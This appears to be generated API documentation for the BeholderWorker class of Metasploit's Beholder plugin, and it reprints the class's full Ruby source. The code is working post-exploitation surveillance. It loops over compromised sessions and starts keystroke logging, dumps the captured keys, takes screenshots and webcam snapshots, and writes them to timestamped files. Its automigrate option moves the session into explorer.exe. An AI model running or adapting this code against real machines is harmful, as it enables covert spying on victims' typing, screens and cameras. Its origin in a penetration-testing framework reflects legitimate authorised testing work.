Class: Msf::Plugin::Beholder::BeholderWorker

Inherits:
Object
  • Object
show all
Defined in:
plugins/beholder.rb

Overview

Worker Thread

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(framework, config, driver) ⇒ BeholderWorker

Returns a new instance of BeholderWorker.



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# File 'plugins/beholder.rb', line 15

def initialize(framework, config, driver)
  self.state = {}
  self.framework = framework
  self.config = config
  self.driver = driver
  self.thread = framework.threads.spawn('BeholderWorker', false) do
    begin
      start
    rescue ::Exception => e
      warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}"
    end

    # Mark this worker as dead
    self.thread = nil
  end
end

Instance Attribute Details

#configObject

Returns the value of attribute config.



13
14
15
# File 'plugins/beholder.rb', line 13

def config
  @config
end

#driverObject

Returns the value of attribute driver.



13
14
15
# File 'plugins/beholder.rb', line 13

def driver
  @driver
end

#frameworkObject

Returns the value of attribute framework.



13
14
15
# File 'plugins/beholder.rb', line 13

def framework
  @framework
end

#stateObject

Returns the value of attribute state.



13
14
15
# File 'plugins/beholder.rb', line 13

def state
  @state
end

#threadObject

Returns the value of attribute thread.



13
14
15
# File 'plugins/beholder.rb', line 13

def thread
  @thread
end

Instance Method Details

#cache_sysinfo(sid) ⇒ Object



165
166
167
168
169
170
# File 'plugins/beholder.rb', line 165

def cache_sysinfo(sid)
  return if state[sid][:sysinfo]

  state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
  state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '')
end

#capture_filename(sid) ⇒ Object



98
99
100
# File 'plugins/beholder.rb', line 98

def capture_filename(sid)
  state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S')
end

#collect_keystrokes(sid) ⇒ Object

TODO: Stop the keystroke scanner when the plugin exits



123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'plugins/beholder.rb', line 123

def collect_keystrokes(sid)
  return unless config[:keystrokes]

  sess = framework.sessions[sid]
  unless state[sid][:keyscan]
    # Consume any error (happens if the keystroke thread is already active)
    begin
      sess.ui.keyscan_start
    rescue StandardError
      nil
    end
    state[sid][:keyscan] = true
    return
  end

  collected_keys = sess.ui.keyscan_dump
  store_keystrokes(sid, collected_keys)
end

#collect_screenshot(sid) ⇒ Object

TODO: Specify image quality



143
144
145
146
147
148
149
# File 'plugins/beholder.rb', line 143

def collect_screenshot(sid)
  return unless config[:screenshot]

  sess = framework.sessions[sid]
  collected_image = sess.ui.screenshot(50)
  store_screenshot(sid, collected_image)
end

#collect_webcam(sid) ⇒ Object

TODO: Specify webcam index and frame quality



152
153
154
155
156
157
158
159
160
161
162
163
# File 'plugins/beholder.rb', line 152

def collect_webcam(sid)
  return unless config[:webcam]

  sess = framework.sessions[sid]
  begin
    sess.webcam.webcam_start(1)
    collected_image = sess.webcam.webcam_get_frame(100)
    store_webcam(sid, collected_image)
  ensure
    sess.webcam.webcam_stop
  end
end

#compatible?(sid) ⇒ Boolean

Only support sessions that have core.migrate()

Returns:

  • (Boolean)


208
209
210
211
# File 'plugins/beholder.rb', line 208

def compatible?(sid)
  framework.sessions[sid].respond_to?(:core) &&
    framework.sessions[sid].core.respond_to?(:migrate)
end

#process(sid) ⇒ Object



70
71
72
73
74
75
76
77
78
79
80
81
# File 'plugins/beholder.rb', line 70

def process(sid)
  state[sid] ||= {}
  store_session_info(sid)
  return unless compatible?(sid)
  return if stale_session?(sid)

  verify_migration(sid)
  cache_sysinfo(sid)
  collect_keystrokes(sid)
  collect_screenshot(sid)
  collect_webcam(sid)
end

#session_log(sid, msg) ⇒ Object



83
84
85
86
87
# File 'plugins/beholder.rb', line 83

def session_log(sid, msg)
  ::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd|
    fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}"
  end
end

#stale_session?(sid) ⇒ Boolean

Skip sessions with ancient last checkin times

Returns:

  • (Boolean)


214
215
216
217
218
219
220
221
222
223
224
# File 'plugins/beholder.rb', line 214

def stale_session?(sid)
  return unless framework.sessions[sid].respond_to?(:last_checkin)

  session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
  # TODO: Make the max age configurable, for now 5 minutes seems reasonable
  if session_age > 300
    session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
    return true
  end
  return
end

#startObject



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# File 'plugins/beholder.rb', line 43

def start
  driver.print_status("Beholder is logging to #{config[:base]}")
  bool_options = %i[screenshot webcam keystrokes automigrate]
  bool_options.each do |o|
    config[o] = !(config[o].to_s =~ /^[yt1]/i).nil?
  end

  int_options = %i[idle freq]
  int_options.each do |o|
    config[o] = config[o].to_i
  end

  ::FileUtils.mkdir_p(config[:base])

  loop do
    framework.sessions.each_key do |sid|
      if state[sid].nil? ||
         (state[sid][:last_update] + config[:freq] < Time.now.to_f)
        process(sid)
      end
    rescue ::Exception => e
      session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
    end
    sleep(1)
  end
end

#stopObject



32
33
34
35
36
37
38
39
40
41
# File 'plugins/beholder.rb', line 32

def stop
  return unless thread

  begin
    thread.kill
  rescue StandardError
    nil
  end
  self.thread = nil
end

#store_keystrokes(sid, data) ⇒ Object



102
103
104
105
106
107
108
# File 'plugins/beholder.rb', line 102

def store_keystrokes(sid, data)
  return if data.empty?

  filename = capture_filename(sid) + '_keystrokes.txt'
  ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  session_log(sid, "captured keystrokes to #{filename}")
end

#store_screenshot(sid, data) ⇒ Object



110
111
112
113
114
# File 'plugins/beholder.rb', line 110

def store_screenshot(sid, data)
  filename = capture_filename(sid) + '_screenshot.jpg'
  ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  session_log(sid, "captured screenshot to #{filename}")
end

#store_session_info(sid) ⇒ Object



89
90
91
92
93
94
95
96
# File 'plugins/beholder.rb', line 89

def store_session_info(sid)
  state[sid][:last_update] = Time.now.to_f
  return if state[sid][:initialized]

  state[sid][:info] = framework.sessions[sid].info
  session_log(sid, 'registered')
  state[sid][:initialized] = true
end

#store_webcam(sid, data) ⇒ Object



116
117
118
119
120
# File 'plugins/beholder.rb', line 116

def store_webcam(sid, data)
  filename = capture_filename(sid) + '_webcam.jpg'
  ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  session_log(sid, "captured webcam snap to #{filename}")
end

#verify_migration(sid) ⇒ Object



172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
# File 'plugins/beholder.rb', line 172

def verify_migration(sid)
  return unless config[:automigrate]
  return if state[sid][:migrated]

  sess = framework.sessions[sid]

  # Are we in an explorer process already?
  pid = sess.sys.process.getpid
  session_log(sid, "has process ID #{pid}")
  ps = sess.sys.process.get_processes
  this_ps = ps.select { |x| x['pid'] == pid }.first

  # Already in explorer? Mark the session and move on
  if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
    session_log(sid, 'is already in explorer.exe')
    state[sid][:migrated] = true
    return
  end

  # Attempt to migrate, but flag that we tried either way
  state[sid][:migrated] = true

  # Grab the first explorer.exe process we find that we have rights to
  target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
  unless target_ps
    # No explorer.exe process?
    session_log(sid, 'no explorer.exe process found for automigrate')
    return
  end

  # Attempt to migrate to the target pid
  session_log(sid, "attempting to migrate to #{target_ps.inspect}")
  sess.core.migrate(target_ps['pid'])
end